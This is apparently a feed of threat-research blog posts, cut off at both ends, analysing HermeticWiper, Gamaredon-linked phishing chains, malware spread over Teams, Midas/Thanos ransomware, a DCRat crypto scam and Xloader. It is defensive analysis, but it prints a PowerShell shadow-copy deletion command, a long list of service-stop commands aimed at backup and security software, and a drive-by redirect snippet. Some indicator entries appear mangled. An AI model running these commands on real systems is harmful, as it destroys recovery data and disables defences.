Manual decompression of the HermeticWiper drivers using the Windows expand utility The certificate for these signed drivers is registered to CHENGDU YIWO Tech Development Co., Ltd., but expired on September 11, 2014 as shown in Figure 3. Figure 3: Expired certificate used to sign the HermeticWiper drivers These driver files appear to be part of the EaseUS Partition Master application developed by CHENGDU YIWO Tech Development. The driver file is written to the Windows drivers directory with a filename that includes two alphabetic characters that are pseudorandomly chosen using the current process ID concatenated with the string "dr" and appended with a .sys extension (e.g., lxdr.sys). Hermetic Wiper will then elevate its privileges to SeLoadDriverPrivilege and load the driver and start it as a service. The malware disables the vss (Volume Shadow Copy) service used for backing up and restoring data and sets the CrashDumpEnabled registry value to zero in the registry key HKLM\SYSTEM\CurrentControlSet\Control\CrashControl to disable crash dumps. This ensures that if the malware crashes, Windows will not produce a crash dump file that can be used to identify the cause. The registry values ShowCompColor and ShowInfoTip are also set to zero (i.e. disabled) under the registry key HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced to suppress pop-ups and other indicators of data destruction. The driver registers itself as a device named EPMNTDRV to expose itself to the userland component of HermeticWiper. The malware enumerates physical disks 0-100 and destroys the Master Boot Record (MBR) on every physical disk by overwriting the first 512 bytes with random data. The malware then parses the file system to determine whether the partition is NTFS or FAT. If the file system is the former, it will overwrite the Master File Table (MFT) that stores information about every file on the system. Hermetic also targets files that are located in the directories: C:\System Volume Information C:\Windows\SYSVOL C:\Documents and Settings C:\Windows\System32\winevt\Logs After the data destruction occurs, a forced reboot will occur. As a result, the boot loader will not be able to load the operating system as shown in Figure 4. Figure 4. Result after HermeticWiper erases the Master Boot Record and forces a system reboot 2. Targeted Attacks Timeframe - Nov 2021 onwards During our analysis, we found a C2 infrastructure overlap between the two targeted attack chains seen below in Figure 4 and 5. Figure 4: Targeted attack chain #1 Figure 5: Targeted attack chain #2 Technical analysis Attack chain #1 The attack chain #1 infection starts with an email which has a malicious RAR archive attachment. The victim downloads and extracts the RAR archive contents which contains a malicious document file that is themed using the ongoing geo-political conflict between Russia and Ukraine. [+] Stage 1: Document The document on execution simply downloads a macro-based template from the specified remote location. Figure 6 below shows the template reference present inside one of the documents. Figure 6: Relationship referring the macro-based remote template [+] Stage 2: Macro template (714f8341bd1c4bc1fc38a5407c430a1a) The macro code inside the template is obfuscated by adding a lot of junk code. This not only inflates the size of macro code but also hinders the code analysis. The main operation it performs is to drop and execute a VBScript. The VBScript is Base64-encoded inside the VBA macro as shown in Figure X below. Figure 7: Base64-encoded VBScript inside the VBA macro [+] Stage 3: VBScript As per OSINT, this stage-3 VBScript which is dropped by the stage-2 macro is called GammaLoad. The VBScript code is obfuscated similar to the macro code. On execution it performs the following operations: 1. Collects user and system information for exfiltration 2. Grabs the IP address associated with the configured C2 domain using WMI WMI query format: SELECT * FROM Win32_PingStatus WHERE Address={configured_c2_domain} 3. Sends a network request to download the next stage payload using the IP address obtained from step #2 and also exfiltrate the information collected from step #1 using the UserAgent field UserAgent Format: {hardcoded_useragent_string}::%USERPROFILE%_%SYSTEMDRIVE%.SerialNumber::\.{static_string}\. 4. Drops and executes the downloaded payload Note: At the time of analysis we didn’t get this next stage payload but based on past analysis the threat actor is known to drop some remote desktop application like UltraVNC Attack Chain #2 We identified another attack-chain used by the same threat actor which is not documented anywhere in the public domain, to the best of our knowledge. Based on our research, this campaign has been active since as early as November 2020 and only 7 unique samples have been identified till date related to this campaign. The most recent instance was observed on 11th Feb 2022 and based on the filename, we believe that it was distributed on 8th Feb 2022 to the targeted victim(s). This low-volume campaign involves RAR archive files distributed through spear phishing emails. These RAR archive files contain a malicious Windows shortcut file (LNK) which downloads the MSI payload from the attacker-controlled server and executes it on the endpoint using MSIEXEC. This results in the packaged NSIS binary to be dropped on the system and it starts the infection-chain. Components of the NSIS binary will be unpacked in the directory: %temp%\<random_name>.tmp\ during the course of its execution. All the extracted components are shown below. Figure 8: components of the NSIS binary It loads the DLL from the above directory. MD5 hash of the DLL: 74ce360565fa23d9730fe0c5227c22e0 Filename of the DLL: ypagjgfyy.dll The NSIS script which controls the execution of the NSIS installer can be used to analyze the activity. The relevant code sections from the script are included in the Appendix section. The steps below summarize the activity: Call the export function: "oqiuqqaxaicm" in the DLL file - ypagjgfyy.dll and pass it two parameters. The first one is the encrypted string and the second one is the decryption key. The decrypted string is a URL: hxxp://kfctm[.]online/0102adqeczoL2.txt Call the download_quiet function in nsisdl (downloader component of NSIS installer) to fetch the contents of the URL which was decrypted in step #2. The response is saved in the file - $PLUGINSDIR\readme.txt Call the export function: “cfyhayyyu” in the DLL file - ypagjgfyy.dll and pass it three parameters. The first parameter is the file created in step #4 and the other 2 parameters are used to decrypt the contents of the readme.txt file. At this point, the code can take 2 paths based on whether the readme.txt file was successfully created or not in step #4. If step #4 was successful, then the decrypted contents of the readme.txt file will be used as a decryption key to decrypt other important strings and continue the malicious activities. At the time of our analysis, since the URL in step #2 did not respond so the readme.txt file was not created. As a result, the code execution continued to call the export function: “euuxijbaha” in the DLL - ypagjgfyy.dll to decrypt the contents of the DAT file - gofygsg.dat packaged inside the NSIS installer. The resulting decrypted content is a DOCX file which is displayed to the victim with MS Office Word application. Infrastructure overlap and re-use During our analysis of the targeted attacks, we found that one of the C2 domain - "download.logins[.]online" which was used to host the MSI payload as part of attack-chain #2 was previously attributed to the Gamaredon APT threat actor by Anomali labs. At that time, it was used to host a macro-based template document which overlaps with the attack-chain #1, as we described in this blog. Zscaler coverage We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as advanced cloud sandbox. Advanced Threat Protection Win32.Trojan.KillDisk Win32.Trojan.HermeticWiper Advanced Cloud Sandbox Win32.Trojan.HermeticWiper Advanced Cloud Sandbox Report Figure 9 below shows the sandbox detection report for Wiper malware. Figure 9: Zscaler Cloud Sandbox Report - HermeticWiper Figure 10 below shows the document template (from attack chain #1) detection in the Zscaler sandbox. Figure 10: Zscaler Cloud Sandbox Report - Targeted Attack document template Indicators of compromise # Attack Chain 1 [+] Hashes MD5 Description 9fe8203b06c899d15cb20d2497103dbb RAR archive 178b0739ac2668910277cbf13f6386e8 fd4de6bb19fac13487ea72d938999fbd Document 714f8341bd1c4bc1fc38a5407c430a1a 8293816be7f538ec6b37c641e9f9287f Template [+] C2 Domains coagula[.]online[.]online declaration.deed.coagula[.]online surname192.temp.swtest[.]ru [+] Download URLs Component URL Template http://surname192.temp.swtest[.]ru/prapor/su/ino.gif http://surname192.temp.swtest[.]ru/prapor/su/derg.gif http://surname192.temp.swtest[.]ru/prapor/su/flagua.gif http://surname192.temp.swtest[.]ru/prapor/su/flages.gif Secondary payload 94.158.244[.]27/absolute.ace 94.158.244[.]27/distant.cdr [+] Associated IPs 94.158.244[.]27 # Attack Chain 2 [+] Hashes MD5 Description 7c1626fcaf47cdfe8aaed008d4421d8c 6d40826dc7a9c1f5fc15e9823f30966b c2ef9f814fc99670572ee76ba06d24da 3751b3326f3963794d3835dbf65ac048 3cfc9972ad7cbd13cac51aade3f2b501 ba1f2bfe95b219354ddad04b79579346 56be65fe4d9709c10cae511d53d92d1a RAR archive 5f568c80ab68a4132506f29ede076679 2b7b4ad2947516e633f5008ace02690d bdcb83cc6f54d571a2c102fbbd8083c7 b25865010562a3863ef892311644b3bb bc740d642893e0fe23c75264ca7c2bca d5628fe5de110e321110bbc76061702b 53ee0babcf03b17e02e4317b6a410b93 LNK c3564bde7b49322f2bacdc495146cfbc 6fa9d3407b70e3928be3ee0a85ddb01c e6a9e19e1b019f95bfc5a4e161794a7f 2cc96a41092e7adf726365bbc5726150 9f566a164a5c6ae046c24d0e911dc577 MSI [+] C2 domains kfctm[.]online[.]online my.mondeychamp[.]xyz files-download.infousa[.]xyz download.logins[.]online [+] Download URLs Component URL MSI http://kfctm[.]online/0802adqeczoL7.msi[.]online/Microsoft_VieweR_2012.msi http://my.mondeychamp[.]xyz/uUi1rV.msi http://my.mondeychamp[.]xyz/ReadMe.msi http://files-download.infousa[.]xyz/Windows_photo_viewers.msi http://files-download.infousa[.]xyz/Windows_photo_viewer.msi http://download.logins[.]online/exe/LinK13112020.msi Appendix I NSI script Thu, 24 Feb 2022 10:23:53 -0800 Deepen Desai Malware delivered via Microsoft Teams Background Recently, Avanan released a blog post mentioning the interest of adversaries in Microsoft Teams as a launchpad for their malicious attacks. Attackers have always targeted online collaboration tools like Slack and Discord for malware distribution and phishing. While this is probably not the first time that teams have been used for infecting users, this trend has been on the rise with increasing popularity of Teams. Campaign overview Hackers are targeting Teams platform for sharing malicious trojan files at scale to infect unwitting users. They are using various means to get access to user’s emails which in turn is used to get into Teams and subsequently share malicious files with more users to infect them. Files shared over Teams are executable files which can take control over the system. Hackers get the added benefit of attacking over Teams or any other similar service if they use SSL encryption which can automatically bypass some security tools which are oblivious to things happening under SSL. Furthermore they are taking advantage of the trust between the compromised user and the target users as they are more likely to open the files coming from a known contact. There is a caveat, Attackers can’t just share files on teams, they must first get access to a Teams account to be able to share any files with other users. What can you do to protect yourself? Route all traffic through Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers. Ensure you are inspecting all SSL traffic. Advanced Threat Protection to block all known malware and command-and-control activity. Use Advanced Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload. Security awareness training to spot and report suspicious attachments over chat and collaboration tools Zscaler coverage: Zscaler can protect against these or in fact any unknown threats by inspecting SSL encrypted traffic at scale and detonating files in Advanced Cloud Sandbox. We have ensured coverage for the known payloads via advanced threat signatures as well as advanced cloud sandbox. Malware protection W32/Trojan.BEIE-5677 Advanced Cloud Sandbox Win32.Trojan.Wincen Advanced Cloud Sandbox Report Zscaler’s Cloud Sandbox detonates the payloads to reveal their actual behavior and plays a critical role in providing global protection against new payloads. The Zscaler ThreatLabz team is actively monitoring this campaign and providing coverage for threats. More updates to follow. Sun, 20 Feb 2022 23:07:10 -0800 Atinderpal Singh Midas Ransomware: Tracing the Evolution of Thanos Ransomware Variants Key Takeaways: An in-depth analysis of Midas and trends across other Thanos ransomware variants reveals how ransomware groups shifted tactics in 2021 to: lower sunk costs by using RaaS builders to reduce development time increase payouts with double extortion tactics by using their own data leak sites extend the length and effectiveness of campaigns to get the highest investment returns by updating payloads and/or rebranding their own ransomware group Advertised on the darkweb for Ransomware-as-a-Service (RaaS), Thanos ransomware was first identified in February 2020. Written in C# language running on the .net framework, this serious offender reboots systems in safeboot mode to bypass antivirus detection and includes a builder that enables threat actors to create new variants by customizing samples. Source code of Thanos builder also leaked and there are lots of different variants that have been seen based on that. Here we discuss the four 2021 variants shown in Figure 1 below that used double extortion tactics. Figure 1:Timeline of Thanos derived ransomware variations Beginning in February 2021, the Prometheus ransomware variant emerged as one of the new Thanos built variants of the year. It encrypts files and appends “.[{ID}],.PROM[prometheushelp@mail{.}ch] , {ID}[prometheusdec@yahoo{.}com] “ extension and drop “RESTORE_FILES_INFO.txt, RESTORE_FILES_INFO.hta” ransom note. The Prometheus group which operates the variant has claimed to be part of the notorious REvil ransomware group responsible for the Kaseya supply chain attack, however experts doubt the claim as a solid connection between the two has never been established. This variant is known for using double extortion techniques to make organizations pay that include threatening to leak valuable data on their leak site. A quick check reveals that the leak site is currently down, but the threat still holds potential weight In July 2021, another Thanos derived ransomware called Haron was discovered. It encrypts files and appends “.{Targeted Company name}” extension and drops “RESTORE_FILES_INFO.hta,RESTORE_FILES_INFO.txt” ransom note. Haron ransomware group also have their own data leak site used for double extortion. This variant has striking similarities with Avaddon ransomware based on examination of the ransom note and data leak site information. September 2021, the Thanos builder was used again to develop the Spook ransomware variant. It encrypts files and appends “.{ID}” extension and drops “RESTORE_FILES_INFO.hta,RESTORE_FILES_INFO.txt” ransom note. Similar to the other variants, Spook ransomware also uses double extortion techniques with their own data leak site as shown in the screenshot below. Rounding out the year in October 2021, another Thanos ransomware family emerged with the Midas variant that appends “.{Targeted Company name}” extension and drops “RESTORE_FILES_INFO.hta and RESTORE_FILES_INFO.txt” ransom note. In January 2022, ThreatLabz investigated a report of Midas ransomware being slowly deployed over a 2-month period and the attacker was observed using different powershell scripts, remote access tools and an open source windows utility. Like the others, Midas features its own data leak site for double extortion. Interestingly, the site contains leaked victim data from a Haron ransomware attack, suggesting to researchers that Midas is potentially linked to the Haron ransomware operators. Figure 2: Count of companies with leaked data by 2021 Thanos ransomware variants. Identifying Thanos as the Source for the Prometheus, Haron, Spook, and Midas ransomware variants Tracing the evolution of Thanos based ransomware variants back to the source provides threat researchers with an inside look at how ransomware gangs operate and evolve over time. To establish a connection between each variant, the ThreatLabz team looked for the use of common signatures and indicators that would point back to the Thanos ransomware builder. After determining that each variant was derived using the builder, the team set about analyzing the similarities and differences in the shifting techniques adversaries employ to make new variants of a common origin ransomware more effective. These observations help us to gain insights into the cooperation happening between adversary groups and better understand the development lifecycle and alternating impacts of ransomware through its variants. The analysis that follows walks you through identifying Thanos variants through an examination of common signatures found in the ransom note key identifiers and the consistent use of a common file marker “GotAllDone”. Followed by an in-depth analysis of the latest Midas variant. Identifying Thanos Variants All four of the 2021 Thanos based ransomware variants contain a key identifier with common signatures for the Thanos builder found in the ransom notes as shown in Figure 3 below. Figure 3: Screenshots of ransom notes showing the common signature ‘Key Identifier’ for 2021 Thanos ransomware variants: Prometheus, Haron, Spook and Midas. Another similarity is that after encryption they append base 64 encoded key after encrypting data of every file. Prometheus, Haron, Spook, and Midasall contain the same FileMarker that is “GotAllDone” appended at the end of each encrypted file. Below screenshot displays the FileMarker info and Base64 encoded key appended after the data encrypted by Midas ransomware. Figure 4: Screenshots of FileMarker and Base64 encoded key appended Midas Ransomware The Midas data leak site currently displays data from 29 victim companies including data from several victims previously seen on the Haron data leak site which is now inactive. Figure 5: Screenshot of the Midas ransomware data leak site index page. Figure 6: Screenshot of victim companies listed on Midas ransomware data leak site. Technical analysis Midas ransomware is written in C# and obfuscated using smartassembly. Once executed this variant starts terminating processes using taskkill.exe. It terminates processes that inhibit encryption processes and processes related to security software, database related programs so it can encrypt more files. Below is a list of the common processes typically terminated by Thanos based ransomware. Most commonly terminated processes: RaccineSettings.exe mspub.exe CNTAoSMgr.exe xfssvccon.exe mydesktopqos.exe sqlbrowser.exe sqlwriter.exe tbirdconfig.exe visio.exe sqlservr.exe sqbcoreservice.exe thebat64.exe mysqld.exe dbeng50.exe Ntrtscan.exe isqlplussvc.exe synctime.exe firefoxconfig.exe winword.exe ocomm.exe agntsvc.exe infopath.exe ocautoupds.exe mysqld-opt.exe sqlagent.exe powerpnt.exe steam.exe zoolz.exe encsvc.exe thebat.exe tmlisten.exe mbamtray.exe PccNTMon.exe mydesktopservice.exe excel.exe onenote.exe msftesql.exe wordpad.exe ocssd.exe mysqld-nt.exe oracle.exe dbsnmp.exe outlook.exe msaccess.exe It also deletes the process, schedule task and registry related to the Raccine tool. It is a ransomware prevention tool that protects the system from ransomware processes to delete shadow copy. Prometheus, Haron, Spook and Midas have been seen terminating Raccine related artifacts. Figure 7: Command used to terminate Vaccine process and other artifacts. The Midas variant is designed to stop service related to security products, database software, backups and email exchanges. List of most commonly disrupted services: start Dnscache /y stop msexchangeimap4 /y stop MSSQLServerADHelper /y start FDResPub /y stop ARSM /y stop McAfeeEngineService /y start SSDPSRV /y stop MSSQL$BKUPEXEC /y stop VeeamHvIntegrationSvc /y start upnphost /y stop unistoresvc_1af40a /y stop MSSQLServerADHelper100 /y stop avpsus /y stop BackupExecAgentAccelerator /y stop McAfeeFramework /y stop McAfeeDLPAgentService /y stop MSSQL$ECWDB2 /y stop VeeamMountSvc /y stop mfewc /y stop audioendpointbuilder /y stop MSSQLServerOLAPService /y stop BMR Boot Service /y stop BackupExecAgentBrowser /y stop McAfeeFrameworkMcAfeeFramework /y stop NetBackup BMR MTFTP Service /y stop MSSQL$PRACTICEMGT /y stop VeeamNFSSvc /y stop DefWatch /y stop BackupExecDeviceMediaService /y stop MySQL57 /y stop ccEvtMgr /y stop MSSQL$PRACTTICEBGC /y stop McShield /y stop ccSetMgr /y stop BackupExecJobEngine /y stop VeeamRESTSvc /y stop SavRoam /y stop MSSQL$PROD /y stop MySQL80 /y stop RTVscan /y stop AcronisAgent /y stop McTaskManager /y stop QBFCService /y stop BackupExecManagementService /y stop VeeamTransportSvc /y stop QBIDPService /y stop MSSQL$PROFXENGAGEMENT /y stop OracleClientCache80 /y stop Intuit.QuickBooks.FCS /y stop Antivirus /y stop mfefire /y stop QBCFMonitorService /y stop BackupExecRPCService /y stop wbengine /y stop YooBackup /y stop MSSQL$SBSMONITORING / stop ReportServer$SQL_2008 /y stop YooIT /y stop MSSQL$SBSMONITORING /y stop mfemms /y stop zhudongfangyu /y stop AVP /y stop wbengine /y stop stc_raw_agent /y stop BackupExecVSSProvider /y stop RESvc /y stop VSNAPVSS /y stop MSSQL$SHAREPOINT /y stop mfevtp /y stop VeeamTransportSvc /y stop DCAgent /y stop sms_site_sql_backup /y stop VeeamDeploymentService /y stop bedbg /y stop SQLAgent$BKUPEXEC /y stop VeeamNFSSvc /y stop MSSQL$SQL_2008 /y stop MSSQL$SOPHOS /y stop veeam /y stop EhttpSrv /y stop SQLAgent$CITRIX_METAFRAME /y stop PDVFSService /y stop MMS /y stop sacsvr /y stop BackupExecVSSProvider /y stop MSSQL$SQLEXPRESS /y stop SQLAgent$CXDB /y stop BackupExecAgentAccelerator /y stop ekrn /y stop SAVAdminService /y stop BackupExecAgentBrowser /y stop mozyprobackup /y stop SQLAgent$ECWDB2 /y stop BackupExecDiveciMediaService /y stop MSSQL$SYSTEM_BGC /y stop SAVService /y stop BackupExecJobEngine /y stop EPSecurityService /y stop SQLAgent$PRACTTICEBGC /y stop BackupExecManagementService /y stop MSSQL$VEEAMSQL2008R2 /y stop SepMasterService /y stop BackupExecRPCService /y stop MSSQL$TPS /y stop SQLAgent$PRACTTICEMGT /y stop AcrSch2Svc /y stop EPUpdateService /y stop ShMonitor /y stop AcronisAgent /y stop ntrtscan /y stop SQLAgent$PROD /y stop CASAD2DWebSvc /y stop MSSQL$TPSAMA /y stop Smcinst /y stop CAARCUpdateSvc /y stop EsgShKernel /y stop SQLAgent$PROFXENGAGEMENT /y stop sophos /y stop PDVFSService /y stop SmcService /y stop MsDtsServer /y stop MSSQL$VEEAMSQL2008R2 /y stop SQLAgent$SBSMONITORING /y stop IISAdmin /y stop ESHASRV /y stop SntpService /y stop MSExchangeES /y stop SDRSVC /y stop SQLAgent$SHAREPOINT /y stop EraserSvc11710 /y stop MSSQL$VEEAMSQL2012 /y stop sophossps /y stop MsDtsServer100 /y stop FA_Scheduler /y stop SQLAgent$SQL_2008 /y stop NetMsmqActivator /y stop SQLAgent$VEEAMSQL2008R2 /y stop SQLAgent$SOPHOS /y stop MSExchangeIS /y stop MSSQLFDLauncher$PROFXENGAGEMENT /y stop SQLAgent$SQLEXPRESS /y stop SamSs /y stop KAVFS /y stop svcGenericHost /y stop ReportServer /y stop SQLWriter /y stop SQLAgent$SYSTEM_BGC /y stop MsDtsServer110 /y stop MSSQLFDLauncher$SBSMONITORING /y stop swi_filter /y stop POP3Svc /y stop KAVFSGT /y stop SQLAgent$TPS /y stop MSExchangeMGMT /y stop VeeamBackupSvc /y stop swi_service /y stop SMTPSvc /y stop MSSQLFDLauncher$SHAREPOINT /y stop SQLAgent$TPSAMA /y stop ReportServer$SQL_2008 /y stop kavfsslp /y stop swi_update /y stop msftesql$PROD /y stop VeeamBrokerSvc /y stop SQLAgent$VEEAMSQL2008R2 /y stop SstpSvc /y stop MSSQLFDLauncher$SQL_2008 /y stop swi_update_64 /y stop MSExchangeMTA /y stop klnagent /y stop SQLAgent$VEEAMSQL2012 /y stop ReportServer$SYSTEM_BGC /y stop VeeamCatalogSvc /y stop TmCCSF /y stop MSOLAP$SQL_2008 /y stop MSSQLFDLauncher$SYSTEM_BGC /y stop SQLBrowser /y stop UI0Detect /y stop macmnsvc /y stop tmlisten /y stop MSExchangeSA /y stop VeeamCloudSvc /y stop SQLSafeOLRService /y stop ReportServer$TPS /y stop MSSQLFDLauncher$TPS /y stop TrueKey /y stop MSOLAP$SYSTEM_BGC /y stop masvc /y stop SQLSERVERAGENT /y stop W3Svc /y stop VeeamDeploymentService /y stop TrueKeyScheduler /y stop MSExchangeSRS /y stop MSSQLFDLauncher$TPSAMA /y stop SQLTELEMETRY /y stop ReportServer$TPSAMA /y stop MBAMService /y stop TrueKeyServiceHelper /y stop MSOLAP$TPS /y stop VeeamDeploySvc /y stop SQLTELEMETRY$ECWDB2 /y stop msexchangeadtopology /y stop MSSQLSERVER /y stop WRSVC /y stop AcrSch2Svc /y stop MBEndpointAgent /y stop mssql$vim_sqlexp /y stop MSOLAP$TPSAMA /y stop VeeamEnterpriseManagerSvc /y stop vapiendpoint /y Another technique used by most variants of Thanos based ransomware is to evade detection by finding and terminating processes for analysis tools by searching the list of keywords shown below: http analyzer stand-alone NetworkTrafficView CFF Explorer fiddler HTTPNetworkSniffer protection_id effetech http sniffer tcpdump pe-sieve firesheep intercepter MegaDumper IEWatch Professional Intercepter-NG UnConfuserEx dumpcap ollydbg Universal_Fixer wireshark dnspy-x86 NoFuserEx wireshark portable dotpeek cheatengine sysinternals tcpview dotpeek64 NetworkMiner RDG Packer Detector Further, it changes the configuration of specific services as shown below. Figure 8: Screenshot of service configuration changes. It deletes shadow copy using powershell command so the system is unable to recover data. Command : "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); } File Encryption Midas ransomware searches through each drive and directory and encrypts the files. It creates a random key and encrypts a file using Salsa20 algorithm. Then the Salsa20 key is encrypted by the RSA public key as shown in the screenshot below. The encryption key is encoded in base64 and appended to each impacted file. It also added FileMarker “GotAllDone” at the end of each encrypted file. The encrypted key is also saved in the Registry under “HKEY_CURRENT_USER\SOFTWARE\KEYID\myKeyID”. After encryption, it drops the “reload1.lnk” file to open a ransom note at every restart. Path: "C:\\Users\\{Username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reload1.lnk". Figure 9: Screenshot of encrypting Salsa20 key with RSA public key. It encrypts the file contained below extensions: After encryption it appends “.{Targeted Company name}” extension and drops “RESTORE_FILES_INFO.hta and RESTORE_FILES_INFO.txt” ransom note. Below is the screenshot of the ransom note. RESTORE_FILES_INFO.hta doesn’t contain Key ID but RESTORE_FILES_INFO.txt contains key ID. Figure 10: Ransom note of Midas Cloud Sandbox Detection Figure 11: Zscaler Cloud Sandbox detection of Midas ransomware In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. Win32.Ransom.Thanos Win32.Ransom.Prometheus Win32.Ransom.Spook Win32.Ransom.Haron Win32.Ransom.Midas MITRE ATT&CK Technique ID Technique T1059 Command and Scripting Interpreter T1569.002 Service Execution T1112 Modify Registry T1562.001 Disable or Modify Tools T1010 Application Window Discovery T1057 Process Discovery T1518.001 Security Software Discovery T1083 File and Directory Discovery T1490 Inhibit System Recovery T1489 Service Stop T1486 Data Encrypted for Impact IOC MD5:3767a7d073f5d2729158578a7006e4c4 About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Wed, 23 Mar 2022 09:00:01 -0700 Rajdeepsinh Dodia FreeCryptoScam - A New Cryptocurrency Scam That Leads to Installation of Backdoors and Stealers Introduction In January 2022, the ThreatLabz research team identified a crypto scam, which we've dubbed "FreeCryptoScam." In this scam, the threat actor targets crypto users by luring them with an offer of free cryptocurrency. When the victim downloads the payload, it leads to installation of multiple malware payloads on the victim's system, allowing the threat actor to establish backdoors and/or steal user information. In this campaign, we see the Dark Crystal RAT ("DCRat") being downloaded which further leads to Redline and TVRat being downloaded and executed onto the victim’s system. This blog aims to explain various aspects of the campaign that the ThreatLabz team has uncovered during the investigation and technical analysis of the dropped payloads. Website Analysis In this campaign, threat actors host their malicious payload on either a new (Figure 1) or an old compromised web domain (Figure 2 & Figure 3). They use the below mechanisms to successfully drop the payload to the victim machine: As soon as the user visits the website, the below javascript under a “script” tag gets executed to drop a payload: “setTimeout(document.location.href=<link of the payload>, <milliseconds>)” As soon as the user clicks on the button, the “href” property is used to drop the payload that consists of the payload link. Figure 1: Newly spun up website hosting malicious payloads Figure 2: Old compromised websites used for hosting malicious payload It should be noted that: The threat actor uses social engineering to drive successful payload execution, luring victims to install the dropped payload by using a message offering free cryptocurrency. The attack works across browsers, with the mechanism running the same way in Chrome, Internet Explorer, and Firefox. Depending on the browser settings, the payload will be automatically downloaded, or a pop-up window will ask the user to save the application on the system. From the whois record, it is clear that the second domain (shown in Figure 2) is an old domain that has likely been compromised. Figure 3: Whois report of the second domain [Credit: DomainTools] Attack Chain The figure below depicts the attack chain of two scenarios: Figure 4: Attack chain Technical Analysis As shown in the above figure, we found two types of payload: In Scenario 1, the payload was a downloader that connected to another malicious domain hosting second stage payloads—backdoors and stealers. In most cases, the downloaded files were DCRat, Redline, and TVRat. In Scenario 2, the payload served the DCRat malware directly. [+] Scenario 1: Downloader DCRatLoader For the purposes of analysis, we will look at the payload with MD5 hash: D3EF4EC10EE42994B313428D13B1B0BD which was protected by a well-known packer named Asprotect and given a fake certificate (as shown in the figure below). Figure 5: Version information and digital certificate After unpacking the file, we get a 48KB .NET executable file (MD5 = 469240D5A3B57C61F5F9F2B90F405999). This is a downloader consisting of base64 encoded urls and file paths (as shown in the figure below ). Figure 6: Code of Unpacked file These base64 encoded strings represent the URL paths for downloading stage 2 payloads as well as the file paths where these payloads will be dropped on the victim system. Figure 7: URLs and File paths Scenario 2: DCRat The second scenario involved direct download of the DCRat payload which was also protected by Asprotect. Upon unpacking, we get a 664KB .NET executable file (MD5= 37F433E1843602B29EC641B406D14AFA) which is the DCRat malware (shown in the figure below). Figure 8: Strings found in memory Network Traffic: Figure 9: Network traffic observed Figure 10: Get request sent to C&C In addition to the DCRat code, we also found stealer code inside the unpacked binary. This part of the code exhibited stealer characteristics, which are often used to exfiltrate sensitive user information. Not only did it steal the information from the infected system, but also disabled the antivirus protection (if found enabled). The code in the figure below showcases the type of data being exfiltrated: Figure 11: Stealer code Figure 12: Checks for antiviruses installed and disable them. We saw the sample created a mutex, named, "\Sessions\1\BaseNamedObjects\865218dd0bef38bd584e8c4ea44a4b7e295cb6f3" where 865218dd0bef38bd584e8c4ea44a4b7e295cb6f3 is the SHA1(hash value) of the string "DCR_MUTEX-BZrxW3QvqgtvhEFCpLSr" and “DCR_MUTEX” is symbolic of DCRat malware. Figure 13: Configuration of the DCRat Zscaler Sandbox Detection Downloader Payload DCRat payload In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Downloader.DCRat Win32.Downloader.Redline Win32.Downloader.TVrat Win32.Backdoor.Dcrat Win32.Backdoor.Redline Win32.Backdoor.Tvrat We haven't categorized this campaign in association with any particular family because it's a generic downloader that downloads other backdoors or stealers. MITRE ATT&CK AND TTP Mapping ID Tactic Technique T1189 Drive-by Compromise Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. T1140 Deobfuscate/Decode Files or Information Strings and other data are obfuscated in the payload T1082 System Information Discovery Sends processor architecture and computer name T1083 File and Directory Discovery Upload file from the victim machine T1005 Data from Local System Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. T1222 File Directory Permissions Modification Change directory permission to hide its file T1555 Credentials from password store Steal stored password T1056 Keylogging Keylog of infected machine T1055 Process Injection Inject code into other processes Indicators of Compromise [+] MD5 Hashes d3ef4ec10ee42994b313428d13b1b0bd 469240d5a3b57c61f5f9f2b90f405999 6bc6b19a38122b926c4e3a5872283c56 3da7cbb5e16c1f02522ff5e49ffc39e7 fdec732050d0b59d37e81453b746a5f3 d27dba475f35ee9983de3541d4a48bda 67364aac61276a7a4abb7b339733e72c 2e30e741aaa4047f0c114d22cb5f6494 22c4c7c383f1021c80f55ced63ed465c 1c5cf95587171cc0950a6e1be576fedc 37f433e1843602b29ec641b406d14afa A6718d7cecc4ec8aeef273918d18aa19 fa80b7635babe8d75115ebcc3247ffff e6d174dd2482042a0f24be7866f71b8d 53be54c4311238bae8cf2e95898e4b12 [+] Network Indicators: wetranszfer[.]com dogelab[.]net verio-tx[.]net benbest[.]org gorillaboardwj[.]com dogelab[.]net d0me[.]net pshzbnb[.]com ghurnibd[.]com theagencymg[.]com gettingtoaha[.]com squidgame[.]to 178[.]20[.]44[.]131:8842 92[.]38[.]241[.]101:36778 mirtonewbacker[.]com 94[.]103[.]81[.]146/php/Cpu4pythonserver/37Game/Video74Local/processtraffic.php? Thu, 17 Feb 2022 08:00:01 -0800 Stuti Chaturvedi Analysis of Xloader’s C2 Network Encryption Introduction Xloader is an information stealing malware that is the successor to Formbook, which had been sold in hacking forums since early 2016. In October 2020, Formbook was rebranded as Xloader and some significant improvements were introduced, especially related to the command and control (C2) network encryption. With the arrival of Xloader, the malware authors also stopped selling the panel’s code together with the malware executable. When Formbook was sold, a web-based command and control (C2) panel was given to customers, so they could self-manage their own botnets. In 2017, Formbook’s panel source was leaked, and subsequently, the threat actor behind Xloader moved to a different business model. Rather than distributing a fully functional crimeware kit, Xloader C2 infrastructure is rented to customers. This malware-as-a-service (MaaS) business model is likely more profitable and makes piracy more difficult. The capabilities of Xloader include the following: Steal credentials from web browsers and other applications Capture keystrokes Take screenshots Steal stored passwords Download and execute additional binaries Execute commands Previous blog posts have analyzed various aspects of Formbook and Xloader’s obfuscation. In this blog post, we perform a detailed analysis of Xloader’s C2 network encryption and communication protocol. Note that Xloader is cross-platform with the ability to run on Microsoft 